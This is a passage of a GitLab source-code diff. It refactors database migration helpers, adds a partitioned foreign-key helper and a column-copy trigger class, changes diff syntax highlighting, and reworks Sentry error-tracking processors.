'CopyColumnUsingBackgroundMigrationJob',
- interval,
+ table,
+ primary_key,
+ column,
+ tmp_column,
+ job_interval: interval,
batch_size: batch_size,
- other_job_arguments: [table, primary_key, sub_batch_size, column, tmp_column],
- track_jobs: true,
- primary_column_name: primary_key
- )
+ sub_batch_size: sub_batch_size)
if perform_background_migration_inline?
# To ensure the schema is up to date immediately we perform the
# migration inline in dev / test environments.
- Gitlab::BackgroundMigration.steal('CopyColumnUsingBackgroundMigrationJob')
+ Gitlab::Database::BackgroundMigration::BatchedMigrationRunner.new.run_entire_migration(batched_migration)
end
end
# Performs a concurrent column rename when using PostgreSQL.
- def install_rename_triggers_for_postgresql(trigger, table, old, new)
- execute <<-EOF.strip_heredoc
- CREATE OR REPLACE FUNCTION #{trigger}()
- RETURNS trigger AS
- $BODY$
- BEGIN
- NEW.#{new} := NEW.#{old};
- RETURN NEW;
- END;
- $BODY$
- LANGUAGE 'plpgsql'
- VOLATILE
- EOF
-
- execute <<-EOF.strip_heredoc
- DROP TRIGGER IF EXISTS #{trigger}
- ON #{table}
- EOF
-
- execute <<-EOF.strip_heredoc
- CREATE TRIGGER #{trigger}
- BEFORE INSERT OR UPDATE
- ON #{table}
- FOR EACH ROW
- EXECUTE FUNCTION #{trigger}()
- EOF
+ def install_rename_triggers_for_postgresql(table, old, new, trigger_name: nil)
+ Gitlab::Database::UnidirectionalCopyTrigger.on_table(table).create(old, new, trigger_name: trigger_name)
end
# Removes the triggers used for renaming a PostgreSQL column concurrently.
def remove_rename_triggers_for_postgresql(table, trigger)
- execute("DROP TRIGGER IF EXISTS #{trigger} ON #{table}")
- execute("DROP FUNCTION IF EXISTS #{trigger}()")
+ Gitlab::Database::UnidirectionalCopyTrigger.on_table(table).drop(trigger)
end
# Returns the (base) name to use for triggers when renaming columns.
def rename_trigger_name(table, old, new)
- 'trigger_' + Digest::SHA256.hexdigest("#{table}_#{old}_#{new}").first(12)
+ Gitlab::Database::UnidirectionalCopyTrigger.on_table(table).name(old, new)
end
# Returns an Array containing the indexes for the given column
diff --git a/lib/gitlab/database/migrations/background_migration_helpers.rb b/lib/gitlab/database/migrations/background_migration_helpers.rb
index e8cbea72887..8d5ea652bfc 100644
--- a/lib/gitlab/database/migrations/background_migration_helpers.rb
+++ b/lib/gitlab/database/migrations/background_migration_helpers.rb
@@ -190,7 +190,7 @@ module Gitlab
migration_status = batch_max_value.nil? ? :finished : :active
batch_max_value ||= batch_min_value
- Gitlab::Database::BackgroundMigration::BatchedMigration.create!(
+ migration = Gitlab::Database::BackgroundMigration::BatchedMigration.create!(
job_class_name: job_class_name,
table_name: batch_table_name,
column_name: batch_column_name,
@@ -202,6 +202,17 @@ module Gitlab
sub_batch_size: sub_batch_size,
job_arguments: job_arguments,
status: migration_status)
+
+ # This guard is necessary since #total_tuple_count was only introduced schema-wise,
+ # after this migration helper had been used for the first time.
+ return migration unless migration.respond_to?(:total_tuple_count)
+
+ # We keep track of the estimated number of tuples to reason later
+ # about the overall progress of a migration.
+ migration.total_tuple_count = Gitlab::Database::PgClass.for_table(batch_table_name)&.cardinality_estimate
+ migration.save!
+
+ migration
end
def perform_background_migration_inline?
@@ -236,6 +247,14 @@ module Gitlab
Gitlab::ApplicationContext.with_context(caller_id: self.class.to_s, &block)
end
+ def delete_queued_jobs(class_name)
+ Gitlab::BackgroundMigration.steal(class_name) do |job|
+ job.delete
+
+ false
+ end
+ end
+
private
def track_in_database(class_name, arguments)
diff --git a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
index 2def3a4d3a9..4402c42b136 100644
--- a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
+++ b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
@@ -6,6 +6,80 @@ module Gitlab
module ForeignKeyHelpers
include ::Gitlab::Database::SchemaHelpers
+ # Adds a foreign key with only minimal locking on the tables involved.
+ #
+ # In concept it works similarly to add_concurrent_foreign_key, but we have
+ # to add a special helper for partitioned tables for the following reasons:
+ # - add_concurrent_foreign_key sets the constraint to `NOT VALID`
+ # before validating it
+ # - Setting an FK to NOT VALID is not supported currently in Postgres (up to PG13)
+ # - Also, PostgreSQL will currently ignore NOT VALID constraints on partitions
+ # when adding a valid FK to the partitioned table, so they have to
+ # also be validated before we can add the final FK.
+ # Solution:
+ # - Add the foreign key first to each partition by using
+ # add_concurrent_foreign_key and validating it
+ # - Once all partitions have a foreign key, add it also to the partitioned
+ # table (there will be no need for a validation at that level)
+ # For those reasons, this method does not include an option to delay the
+ # validation, we have to force validate: true.
+ #
+ # source - The source (partitioned) table containing the foreign key.
+ # target - The target table the key points to.
+ # column - The name of the column to create the foreign key on.
+ # on_delete - The action to perform when associated data is removed,
+ # defaults to "CASCADE".
+ # name - The name of the foreign key.
+ #
+ def add_concurrent_partitioned_foreign_key(source, target, column:, on_delete: :cascade, name: nil)
+ partition_options = {
+ column: column,
+ on_delete: on_delete,
+
+ # We'll use the same FK name for all partitions and match it to
+ # the name used for the partitioned table to follow the convention
+ # used by PostgreSQL when adding FKs to new partitions
+ name: name.presence || concurrent_partitioned_foreign_key_name(source, column),
+
+ # Force the FK validation to true for partitions (and the partitioned table)
+ validate: true
+ }
+
+ if foreign_key_exists?(source, target, **partition_options)
+ warning_message = "Foreign key not created because it exists already " \
+ "(this may be due to an aborted migration or similar): " \
+ "source: #{source}, target: #{target}, column: #{partition_options[:column]}, "\
+ "name: #{partition_options[:name]}, on_delete: #{partition_options[:on_delete]}"
+
+ Gitlab::AppLogger.warn warning_message
+
+ return
+ end
+
+ partitioned_table = find_partitioned_table(source)
+
+ partitioned_table.postgres_partitions.order(:name).each do |partition|
+ add_concurrent_foreign_key(partition.identifier, target, **partition_options)
+ end
+
+ with_lock_retries do
+ add_foreign_key(source, target, **partition_options)
+ end
+ end
+
+ # Returns the name for a concurrent partitioned foreign key.
+ #
+ # Similar to concurrent_foreign_key_name (Gitlab::Database::MigrationHelpers)
+ # we just keep a separate method in case we want a different behavior
+ # for partitioned tables
+ #
+ def concurrent_partitioned_foreign_key_name(table, column, prefix: 'fk_rails_')
+ identifier = "#{table}_#{column}_fk"
+ hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10)
+
+ "#{prefix}#{hashed_identifier}"
+ end
+
# Creates a "foreign key" that references a partitioned table. Because foreign keys referencing partitioned
# tables are not supported in PG11, this does not create a true database foreign key, but instead implements the
# same functionality at the database level by using triggers.
diff --git a/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb b/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb
index 1c289391e21..9ccbdc9930e 100644
--- a/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb
+++ b/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb
@@ -223,6 +223,28 @@ module Gitlab
replace_table(table_name, archived_table_name, partitioned_table_name, primary_key_name)
end
+ def drop_nonpartitioned_archive_table(table_name)
+ assert_table_is_allowed(table_name)
+
+ archived_table_name = make_archived_table_name(table_name)
+
+ with_lock_retries do
+ drop_sync_trigger(table_name)
+ end
+
+ drop_table(archived_table_name)
+ end
+
+ def create_trigger_to_sync_tables(source_table_name, partitioned_table_name, unique_key)
+ function_name = make_sync_function_name(source_table_name)
+ trigger_name = make_sync_trigger_name(source_table_name)
+
+ create_sync_function(function_name, partitioned_table_name, unique_key)
+ create_comment('FUNCTION', function_name, "Partitioning migration: table sync for #{source_table_name} table")
+
+ create_sync_trigger(source_table_name, trigger_name, function_name)
+ end
+
private
def assert_table_is_allowed(table_name)
@@ -316,16 +338,6 @@ module Gitlab
create_range_partition(partition_name, table_name, lower_bound, upper_bound)
end
- def create_trigger_to_sync_tables(source_table_name, partitioned_table_name, unique_key)
- function_name = make_sync_function_name(source_table_name)
- trigger_name = make_sync_trigger_name(source_table_name)
-
- create_sync_function(function_name, partitioned_table_name, unique_key)
- create_comment('FUNCTION', function_name, "Partitioning migration: table sync for #{source_table_name} table")
-
- create_sync_trigger(source_table_name, trigger_name, function_name)
- end
-
def drop_sync_trigger(source_table_name)
trigger_name = make_sync_trigger_name(source_table_name)
drop_trigger(source_table_name, trigger_name)
diff --git a/lib/gitlab/database/pg_class.rb b/lib/gitlab/database/pg_class.rb
new file mode 100644
index 00000000000..0ce9eebc14c
--- /dev/null
+++ b/lib/gitlab/database/pg_class.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ class PgClass < ActiveRecord::Base
+ self.table_name = 'pg_class'
+
+ def self.for_table(relname)
+ joins("LEFT JOIN pg_stat_user_tables ON pg_stat_user_tables.relid = pg_class.oid")
+ .where('schemaname = current_schema()')
+ .find_by(relname: relname)
+ end
+
+ def cardinality_estimate
+ tuples = reltuples.to_i
+
+ return if tuples < 1
+
+ tuples
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb b/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
index 62dfaeeaae3..e8b49c7f62c 100644
--- a/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
+++ b/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
@@ -41,19 +41,6 @@ module Gitlab
BUCKET_ID_MASK = (Buckets::TOTAL_BUCKETS - ZERO_OFFSET).to_s(2)
BIT_31_MASK = "B'0#{'1' * 31}'"
BIT_32_NORMALIZED_BUCKET_ID_MASK = "B'#{'0' * (32 - BUCKET_ID_MASK.size)}#{BUCKET_ID_MASK}'"
- # @example source_query
- # SELECT CAST(('X' || md5(CAST(%{column} as text))) as bit(32)) attr_hash_32_bits
- # FROM %{relation}
- # WHERE %{pkey} >= %{batch_start}
- # AND %{pkey} < %{batch_end}
- # AND %{column} IS NOT NULL
- BUCKETED_DATA_SQL = <<~SQL
- WITH hashed_attributes AS (%{source_query})
- SELECT (attr_hash_32_bits & #{BIT_32_NORMALIZED_BUCKET_ID_MASK})::int AS bucket_num,
- (31 - floor(log(2, min((attr_hash_32_bits & #{BIT_31_MASK})::int))))::int as bucket_hash
- FROM hashed_attributes
- GROUP BY 1
- SQL
WRONG_CONFIGURATION_ERROR = Class.new(ActiveRecord::StatementInvalid)
@@ -103,7 +90,7 @@ module Gitlab
def hll_buckets_for_batch(start, finish)
@relation
.connection
- .execute(BUCKETED_DATA_SQL % { source_query: source_query(start, finish) })
+ .execute(bucketed_data_sql % { source_query: source_query(start, finish) })
.map(&:values)
.to_h
end
@@ -139,6 +126,22 @@ module Gitlab
def actual_finish(finish)
finish || @relation.unscope(:group, :having).maximum(@relation.primary_key) || 0
end
+
+ # @example source_query
+ # SELECT CAST(('X' || md5(CAST(%{column} as text))) as bit(32)) attr_hash_32_bits
+ # FROM %{relation}
+ # WHERE %{pkey} >= %{batch_start}
+ # AND %{pkey} < %{batch_end}
+ # AND %{column} IS NOT NULL
+ def bucketed_data_sql
+ <<~SQL
+ WITH hashed_attributes AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (%{source_query})
+ SELECT (attr_hash_32_bits & #{BIT_32_NORMALIZED_BUCKET_ID_MASK})::int AS bucket_num,
+ (31 - floor(log(2, min((attr_hash_32_bits & #{BIT_31_MASK})::int))))::int as bucket_hash
+ FROM hashed_attributes
+ GROUP BY 1
+ SQL
+ end
end
end
end
diff --git a/lib/gitlab/database/similarity_score.rb b/lib/gitlab/database/similarity_score.rb
index 40845c0d5e0..20bf6fa4d30 100644
--- a/lib/gitlab/database/similarity_score.rb
+++ b/lib/gitlab/database/similarity_score.rb
@@ -10,7 +10,7 @@ module Gitlab
# Adds a "magic" comment in the generated SQL expression in order to be able to tell if we're sorting by similarity.
# Example: /* gitlab/database/similarity_score */ SIMILARITY(COALESCE...
- SIMILARITY_FUNCTION_CALL_WITH_ANNOTATION = "/* #{DISPLAY_NAME} */ SIMILARITY".freeze
+ SIMILARITY_FUNCTION_CALL_WITH_ANNOTATION = "/* #{DISPLAY_NAME} */ SIMILARITY"
# This method returns an Arel expression that can be used in an ActiveRecord query to order the resultset by similarity.
#
diff --git a/lib/gitlab/database/unidirectional_copy_trigger.rb b/lib/gitlab/database/unidirectional_copy_trigger.rb
new file mode 100644
index 00000000000..029c894a5ff
--- /dev/null
+++ b/lib/gitlab/database/unidirectional_copy_trigger.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ class UnidirectionalCopyTrigger
+ def self.on_table(table_name, connection: ActiveRecord::Base.connection)
+ new(table_name, connection)
+ end
+
+ def name(from_column_names, to_column_names)
+ from_column_names, to_column_names = check_column_names!(from_column_names, to_column_names)
+
+ unchecked_name(from_column_names, to_column_names)
+ end
+
+ def create(from_column_names, to_column_names, trigger_name: nil)
+ from_column_names, to_column_names = check_column_names!(from_column_names, to_column_names)
+ trigger_name ||= unchecked_name(from_column_names, to_column_names)
+
+ assignment_clauses = assignment_clauses_for_columns(from_column_names, to_column_names)
+
+ connection.execute(<<~SQL)
+ CREATE OR REPLACE FUNCTION #{trigger_name}()
+ RETURNS trigger AS
+ $BODY$
+ BEGIN
+ #{assignment_clauses};
+ RETURN NEW;
+ END;
+ $BODY$
+ LANGUAGE 'plpgsql'
+ VOLATILE
+ SQL
+
+ connection.execute(<<~SQL)
+ DROP TRIGGER IF EXISTS #{trigger_name}
+ ON #{quoted_table_name}
+ SQL
+
+ connection.execute(<<~SQL)
+ CREATE TRIGGER #{trigger_name}
+ BEFORE INSERT OR UPDATE
+ ON #{quoted_table_name}
+ FOR EACH ROW
+ EXECUTE FUNCTION #{trigger_name}()
+ SQL
+ end
+
+ def drop(trigger_name)
+ connection.execute("DROP TRIGGER IF EXISTS #{trigger_name} ON #{quoted_table_name}")
+ connection.execute("DROP FUNCTION IF EXISTS #{trigger_name}()")
+ end
+
+ private
+
+ attr_reader :table_name, :connection
+
+ def initialize(table_name, connection)
+ @table_name = table_name
+ @connection = connection
+ end
+
+ def quoted_table_name
+ @quoted_table_name ||= connection.quote_table_name(table_name)
+ end
+
+ def check_column_names!(from_column_names, to_column_names)
+ from_column_names = Array.wrap(from_column_names)
+ to_column_names = Array.wrap(to_column_names)
+
+ unless from_column_names.size == to_column_names.size
+ raise ArgumentError, 'number of source and destination columns must match'
+ end
+
+ [from_column_names, to_column_names]
+ end
+
+ def unchecked_name(from_column_names, to_column_names)
+ joined_column_names = from_column_names.zip(to_column_names).flatten.join('_')
+ 'trigger_' + Digest::SHA256.hexdigest("#{table_name}_#{joined_column_names}").first(12)
+ end
+
+ def assignment_clauses_for_columns(from_column_names, to_column_names)
+ combined_column_names = to_column_names.zip(from_column_names)
+
+ assignment_clauses = combined_column_names.map do |(new_name, old_name)|
+ new_name = connection.quote_column_name(new_name)
+ old_name = connection.quote_column_name(old_name)
+
+ "NEW.#{new_name} := NEW.#{old_name}"
+ end
+
+ assignment_clauses.join(";\n ")
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/diff/highlight.rb b/lib/gitlab/diff/highlight.rb
index baa46e7e306..8385bbbb3de 100644
--- a/lib/gitlab/diff/highlight.rb
+++ b/lib/gitlab/diff/highlight.rb
@@ -3,7 +3,7 @@
module Gitlab
module Diff
class Highlight
- attr_reader :diff_file, :diff_lines, :raw_lines, :repository, :project
+ attr_reader :diff_file, :diff_lines, :repository, :project
delegate :old_path, :new_path, :old_sha, :new_sha, to: :diff_file, prefix: :diff
@@ -22,29 +22,15 @@ module Gitlab
end
def highlight
- @diff_lines.map.with_index do |diff_line, i|
+ populate_marker_ranges if Feature.enabled?(:use_marker_ranges, project, default_enabled: :yaml)
+
+ @diff_lines.map.with_index do |diff_line, index|
diff_line = diff_line.dup
# ignore highlighting for "match" lines
next diff_line if diff_line.meta?
- rich_line = highlight_line(diff_line) || ERB::Util.html_escape(diff_line.text)
-
- if line_inline_diffs = inline_diffs[i]
- begin
- # MarkerRange objects are converted to Ranges to keep the previous behavior
- # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/324068
- if Feature.disabled?(:introduce_marker_ranges, project, default_enabled: :yaml)
- line_inline_diffs = line_inline_diffs.map { |marker_range| marker_range.to_range }
- end
-
- rich_line = InlineDiffMarker.new(diff_line.text, rich_line).mark(line_inline_diffs)
- # This should only happen when the encoding of the diff doesn't
- # match the blob, which is a bug. But we shouldn't fail to render
- # completely in that case, even though we want to report the error.
- rescue RangeError => e
- Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e, issue_url: 'https://gitlab.com/gitlab-org/gitlab-foss/issues/45441')
- end
- end
+ rich_line = apply_syntax_highlight(diff_line)
+ rich_line = apply_marker_ranges_highlight(diff_line, rich_line, index)
diff_line.rich_text = rich_line
@@ -54,9 +40,87 @@ module Gitlab
private
+ def populate_marker_ranges
+ pair_selector = Gitlab::Diff::PairSelector.new(@raw_lines)
+
+ pair_selector.each do |old_index, new_index|
+ old_line = diff_lines[old_index]
+ new_line = diff_lines[new_index]
+
+ old_diffs, new_diffs = Gitlab::Diff::InlineDiff.new(old_line.text, new_line.text, offset: 1).inline_diffs
+
+ old_line.set_marker_ranges(old_diffs)
+ new_line.set_marker_ranges(new_diffs)
+ end
+ end
+
+ def apply_syntax_highlight(diff_line)
+ highlight_line(diff_line) || ERB::Util.html_escape(diff_line.text)
+ end
+
+ def apply_marker_ranges_highlight(diff_line, rich_line, index)
+ marker_ranges = if Feature.enabled?(:use_marker_ranges, project, default_enabled: :yaml)
+ diff_line.marker_ranges
+ else
+ inline_diffs[index]
+ end
+
+ return rich_line if marker_ranges.blank?
+
+ begin
+ # MarkerRange objects are converted to Ranges to keep the previous behavior
+ # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/324068
+ if Feature.disabled?(:introduce_marker_ranges, project, default_enabled: :yaml)
+ marker_ranges = marker_ranges.map { |marker_range| marker_range.to_range }
+ end
+
+ InlineDiffMarker.new(diff_line.text, rich_line).mark(marker_ranges)
+ # This should only happen when the encoding of the diff doesn't
+ # match the blob, which is a bug. But we shouldn't fail to render
+ # completely in that case, even though we want to report the error.
+ rescue RangeError => e
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e, issue_url: 'https://gitlab.com/gitlab-org/gitlab-foss/issues/45441')
+ end
+ end
+
def highlight_line(diff_line)
return unless diff_file && diff_file.diff_refs
+ if Feature.enabled?(:diff_line_syntax_highlighting, project, default_enabled: :yaml)
+ diff_line_highlighting(diff_line)
+ else
+ blob_highlighting(diff_line)
+ end
+ end
+
+ def diff_line_highlighting(diff_line)
+ rich_line = syntax_highlighter(diff_line).highlight(
+ diff_line.text(prefix: false),
+ context: { line_number: diff_line.line }
+ )&.html_safe
+
+ # Only update text if line is found. This will prevent
+ # issues with submodules given the line only exists in diff content.
+ if rich_line
+ line_prefix = diff_line.text =~ /\A(.)/ ? Regexp.last_match(1) : ' '
+ rich_line.prepend(line_prefix).concat("\n")
+ end
+ end
+
+ def syntax_highlighter(diff_line)
+ path = diff_line.removed? ? diff_file.old_path : diff_file.new_path
+
+ @syntax_highlighter ||= {}
+ @syntax_highlighter[path] ||= Gitlab::Highlight.new(
+ path,
+ @raw_lines,
+ language: repository&.gitattribute(path, 'gitlab-language')
+ )
+ end
+
+ # Deprecated: https://gitlab.com/gitlab-org/gitlab/-/issues/324159
+ # ------------------------------------------------------------------------
+ def blob_highlighting(diff_line)
rich_line =
if diff_line.unchanged? || diff_line.added?
new_lines[diff_line.new_pos - 1]&.html_safe
@@ -72,6 +136,8 @@ module Gitlab
end
end
+ # Deprecated: https://gitlab.com/gitlab-org/gitlab/-/issues/324638
+ # ------------------------------------------------------------------------
def inline_diffs
@inline_diffs ||= InlineDiff.for_lines(@raw_lines)
end
diff --git a/lib/gitlab/diff/highlight_cache.rb b/lib/gitlab/diff/highlight_cache.rb
index c5e9bfdc321..209462fd6e9 100644
--- a/lib/gitlab/diff/highlight_cache.rb
+++ b/lib/gitlab/diff/highlight_cache.rb
@@ -71,9 +71,12 @@ module Gitlab
strong_memoize(:redis_key) do
[
'highlighted-diff-files',
- diffable.cache_key, VERSION,
+ diffable.cache_key,
+ VERSION,
diff_options,
- Feature.enabled?(:introduce_marker_ranges, diffable.project, default_enabled: :yaml)
+ Feature.enabled?(:introduce_marker_ranges, diffable.project, default_enabled: :yaml),
+ Feature.enabled?(:use_marker_ranges, diffable.project, default_enabled: :yaml),
+ Feature.enabled?(:diff_line_syntax_highlighting, diffable.project, default_enabled: :yaml)
].join(":")
end
end
diff --git a/lib/gitlab/diff/inline_diff.rb b/lib/gitlab/diff/inline_diff.rb
index dd73e4d6c15..f70618195d0 100644
--- a/lib/gitlab/diff/inline_diff.rb
+++ b/lib/gitlab/diff/inline_diff.rb
@@ -18,6 +18,7 @@ module Gitlab
CharDiff.new(old_line, new_line).changed_ranges(offset: offset)
end
+ # Deprecated: https://gitlab.com/gitlab-org/gitlab/-/issues/324638
class << self
def for_lines(lines)
pair_selector = Gitlab::Diff::PairSelector.new(lines)
diff --git a/lib/gitlab/diff/line.rb b/lib/gitlab/diff/line.rb
index 98ed2400d82..6cf414e29cc 100644
--- a/lib/gitlab/diff/line.rb
+++ b/lib/gitlab/diff/line.rb
@@ -8,19 +8,24 @@ module Gitlab
#
SERIALIZE_KEYS = %i(line_code rich_text text type index old_pos new_pos).freeze
- attr_reader :line_code
- attr_writer :rich_text
- attr_accessor :text, :index, :type, :old_pos, :new_pos
+ attr_reader :line_code, :marker_ranges
+ attr_writer :text, :rich_text
+ attr_accessor :index, :type, :old_pos, :new_pos
def initialize(text, type, index, old_pos, new_pos, parent_file: nil, line_code: nil, rich_text: nil)
- @text, @type, @index = text, type, index
- @old_pos, @new_pos = old_pos, new_pos
+ @text = text
+ @type = type
+ @index = index
+ @old_pos = old_pos
+ @new_pos = new_pos
@parent_file = parent_file
@rich_text = rich_text
# When line code is not provided from cache store we build it
# using the parent_file(Diff::File or Conflict::File).
@line_code = line_code || calculate_line_code
+
+ @marker_ranges = []
end
def self.init_from_hash(hash)
@@ -48,6 +53,16 @@ module Gitlab
hash
end
+ def set_marker_ranges(marker_ranges)
+ @marker_ranges = marker_ranges
+ end
+
+ def text(prefix: true)
+ return @text if prefix
+
+ @text&.slice(1..).to_s
+ end
+
def old_line
old_pos unless added? || meta?
end
diff --git a/lib/gitlab/diff/suggestions_parser.rb b/lib/gitlab/diff/suggestions_parser.rb
index 6e17ffaf6ff..f3e6fc455ac 100644
--- a/lib/gitlab/diff/suggestions_parser.rb
+++ b/lib/gitlab/diff/suggestions_parser.rb
@@ -17,7 +17,7 @@ module Gitlab
no_original_data: true,
suggestions_filter_enabled: supports_suggestion)
doc = Nokogiri::HTML(html)
- suggestion_nodes = doc.search('pre.suggestion')
+ suggestion_nodes = doc.search('pre.language-suggestion')
return [] if suggestion_nodes.empty?
@@ -29,9 +29,8 @@ module Gitlab
lines_above, lines_below = nil
if lang_param && suggestion_params = fetch_suggestion_params(lang_param)
- lines_above, lines_below =
- suggestion_params[:above],
- suggestion_params[:below]
+ lines_above = suggestion_params[:above]
+ lines_below = suggestion_params[:below]
end
Gitlab::Diff::Suggestion.new(node.text,
diff --git a/lib/gitlab/downtime_check.rb b/lib/gitlab/downtime_check.rb
deleted file mode 100644
index 457a3c12206..00000000000
--- a/lib/gitlab/downtime_check.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- # Checks if a set of migrations requires downtime or not.
- class DowntimeCheck
- # The constant containing the boolean that indicates if downtime is needed
- # or not.
- DOWNTIME_CONST = :DOWNTIME
-
- # The constant that specifies the reason for the migration requiring
- # downtime.
- DOWNTIME_REASON_CONST = :DOWNTIME_REASON
-
- # Checks the given migration paths and returns an Array of
- # `Gitlab::DowntimeCheck::Message` instances.
- #
- # migrations - The migration file paths to check.
- def check(migrations)
- migrations.map do |path|
- require(path)
-
- migration_class = class_for_migration_file(path)
-
- unless migration_class.const_defined?(DOWNTIME_CONST)
- raise "The migration in #{path} does not specify if it requires " \
- "downtime or not"
- end
-
- if online?(migration_class)
- Message.new(path)
- else
- reason = downtime_reason(migration_class)
-
- unless reason
- raise "The migration in #{path} requires downtime but no reason " \
- "was given"
- end
-
- Message.new(path, true, reason)
- end
- end
- end
-
- # Checks the given migrations and prints the results to STDOUT/STDERR.
- #
- # migrations - The migration file paths to check.
- def check_and_print(migrations)
- check(migrations).each do |message|
- puts message.to_s # rubocop: disable Rails/Output
- end
- end
-
- # Returns the class for the given migration file path.
- def class_for_migration_file(path)
- File.basename(path, File.extname(path)).split('_', 2).last.camelize
- .constantize
- end
-
- # Returns true if the given migration can be performed without downtime.
- def online?(migration)
- migration.const_get(DOWNTIME_CONST, false) == false
- end
-
- # Returns the downtime reason, or nil if none was defined.
- def downtime_reason(migration)
- if migration.const_defined?(DOWNTIME_REASON_CONST)
- migration.const_get(DOWNTIME_REASON_CONST, false)
- else
- nil
- end
- end
- end
-end
diff --git a/lib/gitlab/downtime_check/message.rb b/lib/gitlab/downtime_check/message.rb
deleted file mode 100644
index 5debb754943..00000000000
--- a/lib/gitlab/downtime_check/message.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- class DowntimeCheck
- class Message
- attr_reader :path, :offline
-
- OFFLINE = "\e[31moffline\e[0m"
- ONLINE = "\e[32monline\e[0m"
-
- # path - The file path of the migration.
- # offline - When set to `true` the migration will require downtime.
- # reason - The reason as to why the migration requires downtime.
- def initialize(path, offline = false, reason = nil)
- @path = path
- @offline = offline
- @reason = reason
- end
-
- def to_s
- label = offline ? OFFLINE : ONLINE
-
- message = ["[#{label}]: #{path}"]
-
- if reason?
- message << ":\n\n#{reason}\n\n"
- end
-
- message.join
- end
-
- def reason?
- @reason.present?
- end
-
- def reason
- @reason.strip.lines.map(&:strip).join("\n")
- end
- end
- end
-end
diff --git a/lib/gitlab/error_tracking.rb b/lib/gitlab/error_tracking.rb
index dfed8db8df0..47d361fb95c 100644
--- a/lib/gitlab/error_tracking.rb
+++ b/lib/gitlab/error_tracking.rb
@@ -16,6 +16,12 @@ module Gitlab
Rack::Timeout::RequestTimeoutException
].freeze
+ PROCESSORS = [
+ ::Gitlab::ErrorTracking::Processor::SidekiqProcessor,
+ ::Gitlab::ErrorTracking::Processor::GrpcErrorProcessor,
+ ::Gitlab::ErrorTracking::Processor::ContextPayloadProcessor
+ ].freeze
+
class << self
def configure
Raven.configure do |config|
@@ -97,7 +103,9 @@ module Gitlab
inject_context_for_exception(event, hint[:exception])
custom_fingerprinting(event, hint[:exception])
- event
+ PROCESSORS.reduce(event) do |processed_event, processor|
+ processor.call(processed_event)
+ end
end
def process_exception(exception, sentry: false, logging: true, extra:)
diff --git a/lib/gitlab/error_tracking/processor/context_payload_processor.rb b/lib/gitlab/error_tracking/processor/context_payload_processor.rb
index 5185205e94e..758f6aa11d7 100644
--- a/lib/gitlab/error_tracking/processor/context_payload_processor.rb
+++ b/lib/gitlab/error_tracking/processor/context_payload_processor.rb
@@ -9,9 +9,21 @@ module Gitlab
# integrations are re-implemented and use Gitlab::ErrorTracking, this
# processor should be removed.
def process(payload)
+ return payload if ::Feature.enabled?(:sentry_processors_before_send, default_enabled: :yaml)
+
context_payload = Gitlab::ErrorTracking::ContextPayloadGenerator.generate(nil, {})
payload.deep_merge!(context_payload)
end
+
+ def self.call(event)
+ return event unless ::Feature.enabled?(:sentry_processors_before_send, default_enabled: :yaml)
+
+ Gitlab::ErrorTracking::ContextPayloadGenerator.generate(nil, {}).each do |key, value|
+ event.public_send(key).deep_merge!(value) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ event
+ end
end
end
end
diff --git a/lib/gitlab/error_tracking/processor/grpc_error_processor.rb b/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
index 871e9c4b7c8..419098dbd09 100644
--- a/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
+++ b/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
@@ -6,60 +6,126 @@ module Gitlab
class GrpcErrorProcessor < ::Raven::Processor
DEBUG_ERROR_STRING_REGEX = RE2('(.*) debug_error_string:(.*)')
- def process(value)
- process_first_exception_value(value)
- process_custom_fingerprint(value)
+ def process(payload)
+ return payload if ::Feature.enabled?(:sentry_processors_before_send, default_enabled: :yaml)
- value
- end
-
- # Sentry can report multiple exceptions in an event. Sanitize
- # only the first one since that's what is used for grouping.
- def process_first_exception_value(value)
- exceptions = value.dig(:exception, :values)
-
- return unless exceptions.is_a?(Array)
-
- entry = exceptions.first
-
- return unless entry.is_a?(Hash)
-
- exception_type = entry[:type]
- raw_message = entry[:value]
-
- return unless exception_type&.start_with?('GRPC::')
- return unless raw_message.present?
-
- message, debug_str = split_debug_error_string(raw_message)
-
- entry[:value] = message if message
- extra = value[:extra] || {}
- extra[:grpc_debug_error_string] = debug_str if debug_str
- end
-
- def process_custom_fingerprint(value)
- fingerprint = value[:fingerprint]
-
- return value unless custom_grpc_fingerprint?(fingerprint)
+ self.class.process_first_exception_value(payload)
+ self.class.process_custom_fingerprint(payload)
- message, _ = split_debug_error_string(fingerprint[1])
- fingerprint[1] = message if message
+ payload
end
- private
-
- def custom_grpc_fingerprint?(fingerprint)
- fingerprint.is_a?(Array) && fingerprint.length == 2 && fingerprint[0].start_with?('GRPC::')
- end
-
- def split_debug_error_string(message)
- return unless message
-
- match = DEBUG_ERROR_STRING_REGEX.match(message)
-
- return unless match
-
- [match[1], match[2]]
+ class << self
+ def call(event)
+ return event unless ::Feature.enabled?(:sentry_processors_before_send, default_enabled: :yaml)
+
+ process_first_exception_value(event)
+ process_custom_fingerprint(event)
+
+ event
+ end
+
+ # Sentry can report multiple exceptions in an event. Sanitize
